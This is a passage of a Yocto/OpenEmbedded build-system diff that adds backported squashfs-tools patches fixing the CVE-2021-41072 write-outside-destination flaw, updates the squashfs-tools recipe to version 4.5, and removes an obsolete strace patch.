+ dir->dirs[dir->dir_count].offset = dire->offset;
+diff --git a/squashfs-tools/unsquash-3.c b/squashfs-tools/unsquash-3.c
+index c04aa9e..8223f27 100644
+--- a/squashfs-tools/unsquash-3.c
++++ b/squashfs-tools/unsquash-3.c
+@@ -486,7 +486,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ dir->dirs = new_dir;
+ }
+
+- strcpy(dir->dirs[dir->dir_count].name, dire->name);
++ dir->dirs[dir->dir_count].name = strdup(dire->name);
+ dir->dirs[dir->dir_count].start_block =
+ dirh.start_block;
+ dir->dirs[dir->dir_count].offset = dire->offset;
+diff --git a/squashfs-tools/unsquash-4.c b/squashfs-tools/unsquash-4.c
+index ff62dcc..1e199a7 100644
+--- a/squashfs-tools/unsquash-4.c
++++ b/squashfs-tools/unsquash-4.c
+@@ -423,7 +423,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ dir->dirs = new_dir;
+ }
+
+- strcpy(dir->dirs[dir->dir_count].name, dire->name);
++ dir->dirs[dir->dir_count].name = strdup(dire->name);
+ dir->dirs[dir->dir_count].start_block =
+ dirh.start_block;
+ dir->dirs[dir->dir_count].offset = dire->offset;
+diff --git a/squashfs-tools/unsquashfs.h b/squashfs-tools/unsquashfs.h
+index 5ecb2ab..583fbe4 100644
+--- a/squashfs-tools/unsquashfs.h
++++ b/squashfs-tools/unsquashfs.h
+@@ -164,7 +164,7 @@ struct queue {
+ #define DIR_ENT_SIZE 16
+
+ struct dir_ent {
+- char name[SQUASHFS_NAME_LEN + 1];
++ char *name;
+ unsigned int start_block;
+ unsigned int offset;
+ unsigned int type;
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-3.patch b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-3.patch
new file mode 100644
index 0000000000..5d5df6f15b
--- /dev/null
+++ b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-3.patch
@@ -0,0 +1,326 @@
+The commit is required by the fix for CVE-2021-41072.
+
+Upstream-Status: Backport [https://github.com/plougher/squashfs-tools/commit/9938154]
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+From 9938154174756ee48a94ea0b076397a2944b028d Mon Sep 17 00:00:00 2001
+From: Phillip Lougher <phillip@squashfs.org.uk>
+Date: Sun, 12 Sep 2021 22:58:11 +0100
+Subject: [PATCH] unsquashfs: use linked list to store directory names
+
+This should bring higher performance, and it allows sorting
+if necessary (1.x and 2.0 filesystems).
+
+Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
+---
+ squashfs-tools/unsquash-1.c | 30 +++++++++++++++---------------
+ squashfs-tools/unsquash-1234.c | 12 ++++++++----
+ squashfs-tools/unsquash-2.c | 29 +++++++++++++++--------------
+ squashfs-tools/unsquash-3.c | 29 +++++++++++++++--------------
+ squashfs-tools/unsquash-4.c | 29 +++++++++++++++--------------
+ squashfs-tools/unsquashfs.c | 16 ++++++++++------
+ squashfs-tools/unsquashfs.h | 3 ++-
+ 7 files changed, 80 insertions(+), 68 deletions(-)
+
+diff --git a/squashfs-tools/unsquash-1.c b/squashfs-tools/unsquash-1.c
+index d0121c6..b604434 100644
+--- a/squashfs-tools/unsquash-1.c
++++ b/squashfs-tools/unsquash-1.c
+@@ -254,7 +254,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ long long start;
+ int bytes = 0;
+ int dir_count, size, res;
+- struct dir_ent *new_dir;
++ struct dir_ent *ent, *cur_ent = NULL;
+ struct dir *dir;
+
+ TRACE("squashfs_opendir: inode start block %d, offset %d\n",
+@@ -267,7 +267,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ MEM_ERROR();
+
+ dir->dir_count = 0;
+- dir->cur_entry = 0;
++ dir->cur_entry = NULL;
+ dir->mode = (*i)->mode;
+ dir->uid = (*i)->uid;
+ dir->guid = (*i)->gid;
+@@ -351,20 +351,20 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ "%d:%d, type %d\n", dire->name,
+ dirh.start_block, dire->offset, dire->type);
+
+- if((dir->dir_count % DIR_ENT_SIZE) == 0) {
+- new_dir = realloc(dir->dirs, (dir->dir_count +
+- DIR_ENT_SIZE) * sizeof(struct dir_ent));
+- if(new_dir == NULL)
+- MEM_ERROR();
+-
+- dir->dirs = new_dir;
+- }
++ ent = malloc(sizeof(struct dir_ent));
++ if(ent == NULL)
++ MEM_ERROR();
+
+- dir->dirs[dir->dir_count].name = strdup(dire->name);
+- dir->dirs[dir->dir_count].start_block =
+- dirh.start_block;
+- dir->dirs[dir->dir_count].offset = dire->offset;
+- dir->dirs[dir->dir_count].type = dire->type;
++ ent->name = strdup(dire->name);
++ ent->start_block = dirh.start_block;
++ ent->offset = dire->offset;
++ ent->type = dire->type;
++ ent->next = NULL;
++ if(cur_ent == NULL)
++ dir->dirs = ent;
++ else
++ cur_ent->next = ent;
++ cur_ent = ent;
+ dir->dir_count ++;
+ bytes += dire->size + 1;
+ }
+diff --git a/squashfs-tools/unsquash-1234.c b/squashfs-tools/unsquash-1234.c
+index ac46d9d..e389f8d 100644
+--- a/squashfs-tools/unsquash-1234.c
++++ b/squashfs-tools/unsquash-1234.c
+@@ -60,11 +60,15 @@ int check_name(char *name, int size)
+
+ void squashfs_closedir(struct dir *dir)
+ {
+- int i;
++ struct dir_ent *ent = dir->dirs;
+
+- for(i = 0; i < dir->dir_count; i++)
+- free(dir->dirs[i].name);
++ while(ent) {
++ struct dir_ent *tmp = ent;
++
++ ent = ent->next;
++ free(tmp->name);
++ free(tmp);
++ }
+
+- free(dir->dirs);
+ free(dir);
+ }
+diff --git a/squashfs-tools/unsquash-2.c b/squashfs-tools/unsquash-2.c
+index e847980..956f96f 100644
+--- a/squashfs-tools/unsquash-2.c
++++ b/squashfs-tools/unsquash-2.c
+@@ -347,7 +347,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ long long start;
+ int bytes = 0;
+ int dir_count, size, res;
+- struct dir_ent *new_dir;
++ struct dir_ent *ent, *cur_ent = NULL;
+ struct dir *dir;
+
+ TRACE("squashfs_opendir: inode start block %d, offset %d\n",
+@@ -360,7 +360,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ MEM_ERROR();
+
+ dir->dir_count = 0;
+- dir->cur_entry = 0;
++ dir->cur_entry = NULL;
+ dir->mode = (*i)->mode;
+ dir->uid = (*i)->uid;
+ dir->guid = (*i)->gid;
+@@ -444,19 +444,20 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ "%d:%d, type %d\n", dire->name,
+ dirh.start_block, dire->offset, dire->type);
+
+- if((dir->dir_count % DIR_ENT_SIZE) == 0) {
+- new_dir = realloc(dir->dirs, (dir->dir_count +
+- DIR_ENT_SIZE) * sizeof(struct dir_ent));
+- if(new_dir == NULL)
+- MEM_ERROR();
+- dir->dirs = new_dir;
+- }
++ ent = malloc(sizeof(struct dir_ent));
++ if(ent == NULL)
++ MEM_ERROR();
+
+- dir->dirs[dir->dir_count].name = strdup(dire->name);
+- dir->dirs[dir->dir_count].start_block =
+- dirh.start_block;
+- dir->dirs[dir->dir_count].offset = dire->offset;
+- dir->dirs[dir->dir_count].type = dire->type;
++ ent->name = strdup(dire->name);
++ ent->start_block = dirh.start_block;
++ ent->offset = dire->offset;
++ ent->type = dire->type;
++ ent->next = NULL;
++ if(cur_ent == NULL)
++ dir->dirs = ent;
++ else
++ cur_ent->next = ent;
++ cur_ent = ent;
+ dir->dir_count ++;
+ bytes += dire->size + 1;
+ }
+diff --git a/squashfs-tools/unsquash-3.c b/squashfs-tools/unsquash-3.c
+index 8223f27..835a574 100644
+--- a/squashfs-tools/unsquash-3.c
++++ b/squashfs-tools/unsquash-3.c
+@@ -381,7 +381,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ long long start;
+ int bytes = 0;
+ int dir_count, size, res;
+- struct dir_ent *new_dir;
++ struct dir_ent *ent, *cur_ent = NULL;
+ struct dir *dir;
+
+ TRACE("squashfs_opendir: inode start block %d, offset %d\n",
+@@ -394,7 +394,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ MEM_ERROR();
+
+ dir->dir_count = 0;
+- dir->cur_entry = 0;
++ dir->cur_entry = NULL;
+ dir->mode = (*i)->mode;
+ dir->uid = (*i)->uid;
+ dir->guid = (*i)->gid;
+@@ -478,19 +478,20 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ "%d:%d, type %d\n", dire->name,
+ dirh.start_block, dire->offset, dire->type);
+
+- if((dir->dir_count % DIR_ENT_SIZE) == 0) {
+- new_dir = realloc(dir->dirs, (dir->dir_count +
+- DIR_ENT_SIZE) * sizeof(struct dir_ent));
+- if(new_dir == NULL)
+- MEM_ERROR();
+- dir->dirs = new_dir;
+- }
++ ent = malloc(sizeof(struct dir_ent));
++ if(ent == NULL)
++ MEM_ERROR();
+
+- dir->dirs[dir->dir_count].name = strdup(dire->name);
+- dir->dirs[dir->dir_count].start_block =
+- dirh.start_block;
+- dir->dirs[dir->dir_count].offset = dire->offset;
+- dir->dirs[dir->dir_count].type = dire->type;
++ ent->name = strdup(dire->name);
++ ent->start_block = dirh.start_block;
++ ent->offset = dire->offset;
++ ent->type = dire->type;
++ ent->next = NULL;
++ if(cur_ent == NULL)
++ dir->dirs = ent;
++ else
++ cur_ent->next = ent;
++ cur_ent = ent;
+ dir->dir_count ++;
+ bytes += dire->size + 1;
+ }
+diff --git a/squashfs-tools/unsquash-4.c b/squashfs-tools/unsquash-4.c
+index 1e199a7..694783d 100644
+--- a/squashfs-tools/unsquash-4.c
++++ b/squashfs-tools/unsquash-4.c
+@@ -331,7 +331,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ struct squashfs_dir_entry *dire = (struct squashfs_dir_entry *) buffer;
+ long long start;
+ int bytes = 0, dir_count, size, res;
+- struct dir_ent *new_dir;
++ struct dir_ent *ent, *cur_ent = NULL;
+ struct dir *dir;
+
+ TRACE("squashfs_opendir: inode start block %d, offset %d\n",
+@@ -344,7 +344,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ MEM_ERROR();
+
+ dir->dir_count = 0;
+- dir->cur_entry = 0;
++ dir->cur_entry = NULL;
+ dir->mode = (*i)->mode;
+ dir->uid = (*i)->uid;
+ dir->guid = (*i)->gid;
+@@ -415,19 +415,20 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ "%d:%d, type %d\n", dire->name,
+ dirh.start_block, dire->offset, dire->type);
+
+- if((dir->dir_count % DIR_ENT_SIZE) == 0) {
+- new_dir = realloc(dir->dirs, (dir->dir_count +
+- DIR_ENT_SIZE) * sizeof(struct dir_ent));
+- if(new_dir == NULL)
+- MEM_ERROR();
+- dir->dirs = new_dir;
+- }
++ ent = malloc(sizeof(struct dir_ent));
++ if(ent == NULL)
++ MEM_ERROR();
+
+- dir->dirs[dir->dir_count].name = strdup(dire->name);
+- dir->dirs[dir->dir_count].start_block =
+- dirh.start_block;
+- dir->dirs[dir->dir_count].offset = dire->offset;
+- dir->dirs[dir->dir_count].type = dire->type;
++ ent->name = strdup(dire->name);
++ ent->start_block = dirh.start_block;
++ ent->offset = dire->offset;
++ ent->type = dire->type;
++ ent->next = NULL;
++ if(cur_ent == NULL)
++ dir->dirs = ent;
++ else
++ cur_ent->next = ent;
++ cur_ent = ent;
+ dir->dir_count ++;
+ bytes += dire->size + 1;
+ }
+diff --git a/squashfs-tools/unsquashfs.c b/squashfs-tools/unsquashfs.c
+index 04be53c..fee28ec 100644
+--- a/squashfs-tools/unsquashfs.c
++++ b/squashfs-tools/unsquashfs.c
+@@ -1337,14 +1337,18 @@ failed:
+ int squashfs_readdir(struct dir *dir, char **name, unsigned int *start_block,
+ unsigned int *offset, unsigned int *type)
+ {
+- if(dir->cur_entry == dir->dir_count)
++ if(dir->cur_entry == NULL)
++ dir->cur_entry = dir->dirs;
++ else
++ dir->cur_entry = dir->cur_entry->next;
++
++ if(dir->cur_entry == NULL)
+ return FALSE;
+
+- *name = dir->dirs[dir->cur_entry].name;
+- *start_block = dir->dirs[dir->cur_entry].start_block;
+- *offset = dir->dirs[dir->cur_entry].offset;
+- *type = dir->dirs[dir->cur_entry].type;
+- dir->cur_entry ++;
++ *name = dir->cur_entry->name;
++ *start_block = dir->cur_entry->start_block;
++ *offset = dir->cur_entry->offset;
++ *type = dir->cur_entry->type;
+
+ return TRUE;
+ }
+diff --git a/squashfs-tools/unsquashfs.h b/squashfs-tools/unsquashfs.h
+index 583fbe4..f8cf78c 100644
+--- a/squashfs-tools/unsquashfs.h
++++ b/squashfs-tools/unsquashfs.h
+@@ -168,17 +168,18 @@ struct dir_ent {
+ unsigned int start_block;
+ unsigned int offset;
+ unsigned int type;
++ struct dir_ent *next;
+ };
+
+ struct dir {
+ int dir_count;
+- int cur_entry;
+ unsigned int mode;
+ uid_t uid;
+ gid_t guid;
+ unsigned int mtime;
+ unsigned int xattr;
+ struct dir_ent *dirs;
++ struct dir_ent *cur_entry;
+ };
+
+ struct file_entry {
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072.patch b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072.patch
new file mode 100644
index 0000000000..f807af60bc
--- /dev/null
+++ b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072.patch
@@ -0,0 +1,329 @@
+CVE: CVE-2021-41072
+Upstream-Status: Backport [https://github.com/plougher/squashfs-tools/commit/e048580]
+
+Update on 20211109:
+Squash a follow-up fix for CVE-2021-41072 from upstream:
+https://github.com/plougher/squashfs-tools/commit/19fcc93
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+From e0485802ec72996c20026da320650d8362f555bd Mon Sep 17 00:00:00 2001
+From: Phillip Lougher <phillip@squashfs.org.uk>
+Date: Sun, 12 Sep 2021 23:50:06 +0100
+Subject: [PATCH] Unsquashfs: additional write outside destination directory
+ exploit fix
+
+An issue on github (https://github.com/plougher/squashfs-tools/issues/72)
+showed how some specially crafted Squashfs filesystems containing
+invalid file names (with '/' and '..') can cause Unsquashfs to write
+files outside of the destination directory.
+
+Since then it has been shown that specially crafted Squashfs filesystems
+that contain a symbolic link pointing outside of the destination directory,
+coupled with an identically named file within the same directory, can
+cause Unsquashfs to write files outside of the destination directory.
+
+Specifically the symbolic link produces a pathname pointing outside
+of the destination directory, which is then followed when writing the
+duplicate identically named file within the directory.
+
+This commit fixes this exploit by explictly checking for duplicate
+filenames within a directory. As directories in v2.1, v3.x, and v4.0
+filesystems are sorted, this is achieved by checking for consecutively
+identical filenames. Additionally directories are checked to
+ensure they are sorted, to avoid attempts to evade the duplicate
+check.
+
+Version 1.x and 2.0 filesystems (where the directories were unsorted)
+are sorted and then the above duplicate filename check is applied.
+
+Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
+---
+ squashfs-tools/Makefile | 6 +-
+ squashfs-tools/unsquash-1.c | 6 ++
+ squashfs-tools/unsquash-12.c | 110 +++++++++++++++++++++++++++++++++
+ squashfs-tools/unsquash-1234.c | 21 +++++++
+ squashfs-tools/unsquash-2.c | 16 +++++
+ squashfs-tools/unsquash-3.c | 6 ++
+ squashfs-tools/unsquash-4.c | 6 ++
+ squashfs-tools/unsquashfs.h | 4 ++
+ 8 files changed, 173 insertions(+), 2 deletions(-)
+ create mode 100644 squashfs-tools/unsquash-12.c
+
+diff --git a/squashfs-tools/Makefile b/squashfs-tools/Makefile
+index 7262a2e..1b544ed 100755
+--- a/squashfs-tools/Makefile
++++ b/squashfs-tools/Makefile
+@@ -160,8 +160,8 @@ MKSQUASHFS_OBJS = mksquashfs.o read_fs.o action.o swap.o pseudo.o compressor.o \
+ caches-queues-lists.o reader.o tar.o
+
+ UNSQUASHFS_OBJS = unsquashfs.o unsquash-1.o unsquash-2.o unsquash-3.o \
+- unsquash-4.o unsquash-123.o unsquash-34.o unsquash-1234.o swap.o \
+- compressor.o unsquashfs_info.o
++ unsquash-4.o unsquash-123.o unsquash-34.o unsquash-1234.o unsquash-12.o \
++ swap.o compressor.o unsquashfs_info.o
+
+ CFLAGS ?= -O2
+ CFLAGS += $(EXTRA_CFLAGS) $(INCLUDEDIR) -D_FILE_OFFSET_BITS=64 \
+@@ -393,6 +393,8 @@ unsquash-34.o: unsquashfs.h unsquash-34.c unsquashfs_error.h
+
+ unsquash-1234.o: unsquash-1234.c unsquashfs_error.h
+
++unsquash-12.o: unsquash-12.c unsquashfs.h
++
+ unsquashfs_xattr.o: unsquashfs_xattr.c unsquashfs.h squashfs_fs.h xattr.h unsquashfs_error.h
+
+ unsquashfs_info.o: unsquashfs.h squashfs_fs.h unsquashfs_error.h
+diff --git a/squashfs-tools/unsquash-1.c b/squashfs-tools/unsquash-1.c
+index b604434..88866fc 100644
+--- a/squashfs-tools/unsquash-1.c
++++ b/squashfs-tools/unsquash-1.c
+@@ -370,6 +370,12 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ }
+ }
+
++ /* check directory for duplicate names. Need to sort directory first */
++ sort_directory(dir);
++ if(check_directory(dir) == FALSE) {
++ ERROR("File system corrupted: directory has duplicate names\n");
++ goto corrupted;
++ }
+ return dir;
+
+ corrupted:
+diff --git a/squashfs-tools/unsquash-12.c b/squashfs-tools/unsquash-12.c
+new file mode 100644
+index 0000000..61bf128
+--- /dev/null
++++ b/squashfs-tools/unsquash-12.c
+@@ -0,0 +1,110 @@
++/*
++ * Unsquash a squashfs filesystem. This is a highly compressed read only
++ * filesystem.
++ *
++ * Copyright (c) 2021
++ * Phillip Lougher <phillip@squashfs.org.uk>
++ *
++ * This program is free software; you can redistribute it and/or
++ * modify it under the terms of the GNU General Public License
++ * as published by the Free Software Foundation; either version 2,
++ * or (at your option) any later version.
++ *
++ * This program is distributed in the hope that it will be useful,
++ * but WITHOUT ANY WARRANTY; without even the implied warranty of
++ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ * GNU General Public License for more details.
++ *
++ * You should have received a copy of the GNU General Public License
++ * along with this program; if not, write to the Free Software
++ * Foundation, 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
++ *
++ * unsquash-12.c
++ *
++ * Helper functions used by unsquash-1 and unsquash-2.
++ */
++
++#include "unsquashfs.h"
++
++/*
++ * Bottom up linked list merge sort.
++ *
++ */
++void sort_directory(struct dir *dir)
++{
++ struct dir_ent *cur, *l1, *l2, *next;
++ int len1, len2, stride = 1;
++
++ if(dir->dir_count < 2)
++ return;
++
++ /*
++ * We can consider our linked-list to be made up of stride length
++ * sublists. Eacn iteration around this loop merges adjacent
++ * stride length sublists into larger 2*stride sublists. We stop
++ * when stride becomes equal to the entire list.
++ *
++ * Initially stride = 1 (by definition a sublist of 1 is sorted), and
++ * these 1 element sublists are merged into 2 element sublists, which
++ * are then merged into 4 element sublists and so on.
++ */
++ do {
++ l2 = dir->dirs; /* head of current linked list */
++ cur = NULL; /* empty output list */
++
++ /*
++ * Iterate through the linked list, merging adjacent sublists.
++ * On each interation l2 points to the next sublist pair to be
++ * merged (if there's only one sublist left this is simply added
++ * to the output list)
++ */
++ while(l2) {
++ l1 = l2;
++ for(len1 = 0; l2 && len1 < stride; len1 ++, l2 = l2->next);
++ len2 = stride;
++
++ /*
++ * l1 points to first sublist.
++ * l2 points to second sublist.
++ * Merge them onto the output list
++ */
++ while(len1 && l2 && len2) {
++ if(strcmp(l1->name, l2->name) <= 0) {
++ next = l1;
++ l1 = l1->next;
++ len1 --;
++ } else {
++ next = l2;
++ l2 = l2->next;
++ len2 --;
++ }
++
++ if(cur) {
++ cur->next = next;
++ cur = next;
++ } else
++ dir->dirs = cur = next;
++ }
++ /*
++ * One sublist is now empty, copy the other one onto the
++ * output list
++ */
++ for(; len1; len1 --, l1 = l1->next) {
++ if(cur) {
++ cur->next = l1;
++ cur = l1;
++ } else
++ dir->dirs = cur = l1;
++ }
++ for(; l2 && len2; len2 --, l2 = l2->next) {
++ if(cur) {
++ cur->next = l2;
++ cur = l2;
++ } else
++ dir->dirs = cur = l2;
++ }
++ }
++ cur->next = NULL;
++ stride = stride << 1;
++ } while(stride < dir->dir_count);
++}
+diff --git a/squashfs-tools/unsquash-1234.c b/squashfs-tools/unsquash-1234.c
+index e389f8d..98a81ed 100644
+--- a/squashfs-tools/unsquash-1234.c
++++ b/squashfs-tools/unsquash-1234.c
+@@ -72,3 +72,24 @@ void squashfs_closedir(struct dir *dir)
+
+ free(dir);
+ }
++
++
++/*
++ * Check directory for duplicate names. As the directory should be sorted,
++ * duplicates will be consecutive. Obviously we also need to check if the
++ * directory has been deliberately unsorted, to evade this check.
++ */
++int check_directory(struct dir *dir)
++{
++ int i;
++ struct dir_ent *ent;
++
++ if(dir->dir_count < 2)
++ return TRUE;
++
++ for(ent = dir->dirs, i = 0; i < dir->dir_count - 1; ent = ent->next, i++)
++ if(strcmp(ent->name, ent->next->name) >= 0)
++ return FALSE;
++
++ return TRUE;
++}
+diff --git a/squashfs-tools/unsquash-2.c b/squashfs-tools/unsquash-2.c
+index 956f96f..0e36f7d 100644
+--- a/squashfs-tools/unsquash-2.c
++++ b/squashfs-tools/unsquash-2.c
+@@ -29,6 +29,7 @@
+ static squashfs_fragment_entry_2 *fragment_table;
+ static unsigned int *uid_table, *guid_table;
+ static squashfs_operations ops;
++static int needs_sorting = FALSE;
+
+
+ static void read_block_list(unsigned int *block_list, long long start,
+@@ -463,6 +464,17 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ }
+ }
+
++ if(needs_sorting)
++ sort_directory(dir);
++
++ /* check directory for duplicate names and sorting */
++ if(check_directory(dir) == FALSE) {
++ if(needs_sorting)
++ ERROR("File system corrupted: directory has duplicate names\n");
++ else
++ ERROR("File system corrupted: directory has duplicate names or is unsorted\n");
++ goto corrupted;
++ }
+ return dir;
+
+ corrupted:
+@@ -596,6 +608,10 @@ int read_super_2(squashfs_operations **s_ops, void *s)
+ * 2.x filesystems use gzip compression.
+ */
+ comp = lookup_compressor("gzip");
++
++ if(sBlk_3->s_minor == 0)
++ needs_sorting = TRUE;
++
+ return TRUE;
+ }
+
+diff --git a/squashfs-tools/unsquash-3.c b/squashfs-tools/unsquash-3.c
+index 835a574..0123562 100644
+--- a/squashfs-tools/unsquash-3.c
++++ b/squashfs-tools/unsquash-3.c
+@@ -497,6 +497,12 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ }
+ }
+
++ /* check directory for duplicate names and sorting */
++ if(check_directory(dir) == FALSE) {
++ ERROR("File system corrupted: directory has duplicate names or is unsorted\n");
++ goto corrupted;
++ }
++
+ return dir;
+
+ corrupted:
+diff --git a/squashfs-tools/unsquash-4.c b/squashfs-tools/unsquash-4.c
+index 694783d..c615bb8 100644
+--- a/squashfs-tools/unsquash-4.c
++++ b/squashfs-tools/unsquash-4.c
+@@ -434,6 +434,12 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ }
+ }
+
++ /* check directory for duplicate names and sorting */
++ if(check_directory(dir) == FALSE) {
++ ERROR("File system corrupted: directory has duplicate names or is unsorted\n");
++ goto corrupted;
++ }
++
+ return dir;
+
+ corrupted:
+diff --git a/squashfs-tools/unsquashfs.h b/squashfs-tools/unsquashfs.h
+index f8cf78c..bf2a80d 100644
+--- a/squashfs-tools/unsquashfs.h
++++ b/squashfs-tools/unsquashfs.h
+@@ -293,4 +293,8 @@ extern long long *alloc_index_table(int);
+ /* unsquash-1234.c */
+ extern int check_name(char *, int);
+ extern void squashfs_closedir(struct dir *);
++extern int check_directory(struct dir *);
++
++/* unsquash-12.c */
++extern void sort_directory(struct dir *);
+ #endif
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb b/meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb
index b06951df36..6a19cba8f7 100644
--- a/meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb
+++ b/meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb
@@ -1,21 +1,27 @@
# Note, we can probably remove the lzma option as it has be replaced with xz,
# and I don't think the kernel supports it any more.
SUMMARY = "Tools for manipulating SquashFS filesystems"
+HOMEPAGE = "https://github.com/plougher/squashfs-tools"
+DESCRIPTION = "Tools to create and extract Squashfs filesystems."
SECTION = "base"
LICENSE = "GPL-2"
LIC_FILES_CHKSUM = "file://../COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-PV = "4.4"
-SRCREV = "52eb4c279cd283ed9802dd1ceb686560b22ffb67"
-SRC_URI = "git://github.com/plougher/squashfs-tools.git;protocol=https \
- file://0001-squashfs-tools-fix-build-failure-against-gcc-10.patch;striplevel=2 \
-"
+PV = "4.5"
+SRCREV = "0496d7c3de3e09da37ba492081c86159806ebb07"
+SRC_URI = "git://github.com/plougher/squashfs-tools.git;protocol=https;branch=master \
+ file://0001-Avoid-use-of-INSTALL_DIR-for-symlink-targets.patch \
+ file://CVE-2021-41072-requisite-1.patch;striplevel=2 \
+ file://CVE-2021-41072-requisite-2.patch;striplevel=2 \
+ file://CVE-2021-41072-requisite-3.patch;striplevel=2 \
+ file://CVE-2021-41072.patch;striplevel=2 \
+ "
S = "${WORKDIR}/git/squashfs-tools"
EXTRA_OEMAKE = "${PACKAGECONFIG_CONFARGS}"
-PACKAGECONFIG ??= "gzip xz lzo lz4 lzma xattr reproducible"
+PACKAGECONFIG ??= "gzip xz lzo lz4 lzma xattr zstd reproducible"
PACKAGECONFIG[gzip] = "GZIP_SUPPORT=1,GZIP_SUPPORT=0,zlib"
PACKAGECONFIG[xz] = "XZ_SUPPORT=1,XZ_SUPPORT=0,xz"
PACKAGECONFIG[lzo] = "LZO_SUPPORT=1,LZO_SUPPORT=0,lzo"
@@ -30,12 +36,14 @@ do_compile() {
}
do_install() {
+ install -d "${D}${includedir}"
oe_runmake install INSTALL_DIR=${D}${sbindir}
+ install -m 0644 "${S}"/squashfs_fs.h "${D}${includedir}"
}
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/strace/strace/0001-xlat-Mark-IPPROTO_MAX-last-in-IPPROTO_-constants.patch b/meta/recipes-devtools/strace/strace/0001-xlat-Mark-IPPROTO_MAX-last-in-IPPROTO_-constants.patch
deleted file mode 100644
index cd53f33f60..0000000000
--- a/meta/recipes-devtools/strace/strace/0001-xlat-Mark-IPPROTO_MAX-last-in-IPPROTO_-constants.patch
+++ /dev/null
@@ -1,70 +0,0 @@
-From 387d3b6fba95cb47c4dacc6bcd330148a9168850 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 7 Oct 2020 12:54:03 -0700
-Subject: [PATCH] xlat: Mark IPPROTO_MAX last in IPPROTO_* constants
-
-* xlat/inet_protocols.in (IPPROTO_MAX): It should be the last entry
- after adding IPPROTO_MPTCP this should have new value as
- IPPROTO_MPTCP + 1.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Submitted [https://lists.strace.io/pipermail/strace-devel/2020-October/010253.html]
----
- xlat/inet_protocols.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
---- a/xlat/inet_protocols.in
-+++ b/xlat/inet_protocols.in
-@@ -32,5 +32,5 @@ IPPROTO_UDPLITE 136
- IPPROTO_MPLS 137
- IPPROTO_ETHERNET 143
- IPPROTO_RAW 255
--IPPROTO_MAX 256
- IPPROTO_MPTCP 262
-+IPPROTO_MAX 263
---- a/xlat/inet_protocols.h
-+++ b/xlat/inet_protocols.h
-@@ -234,19 +234,19 @@ DIAG_POP_IGNORE_TAUTOLOGICAL_COMPARE
- #else
- # define IPPROTO_RAW 255
- #endif
--#if defined(IPPROTO_MAX) || (defined(HAVE_DECL_IPPROTO_MAX) && HAVE_DECL_IPPROTO_MAX)
-+#if defined(IPPROTO_MPTCP) || (defined(HAVE_DECL_IPPROTO_MPTCP) && HAVE_DECL_IPPROTO_MPTCP)
- DIAG_PUSH_IGNORE_TAUTOLOGICAL_COMPARE
--static_assert((IPPROTO_MAX) == (256), "IPPROTO_MAX != 256");
-+static_assert((IPPROTO_MPTCP) == (262), "IPPROTO_MPTCP != 262");
- DIAG_POP_IGNORE_TAUTOLOGICAL_COMPARE
- #else
--# define IPPROTO_MAX 256
-+# define IPPROTO_MPTCP 262
- #endif
--#if defined(IPPROTO_MPTCP) || (defined(HAVE_DECL_IPPROTO_MPTCP) && HAVE_DECL_IPPROTO_MPTCP)
-+#if defined(IPPROTO_MAX) || (defined(HAVE_DECL_IPPROTO_MAX) && HAVE_DECL_IPPROTO_MAX)
- DIAG_PUSH_IGNORE_TAUTOLOGICAL_COMPARE
--static_assert((IPPROTO_MPTCP) == (262), "IPPROTO_MPTCP != 262");
-+static_assert((IPPROTO_MAX) == (263), "IPPROTO_MAX != 263");
- DIAG_POP_IGNORE_TAUTOLOGICAL_COMPARE
- #else
--# define IPPROTO_MPTCP 262
-+# define IPPROTO_MAX 263
- #endif
-
- #ifndef XLAT_MACROS_ONLY
-@@ -353,12 +353,12 @@ static const struct xlat_data inet_proto
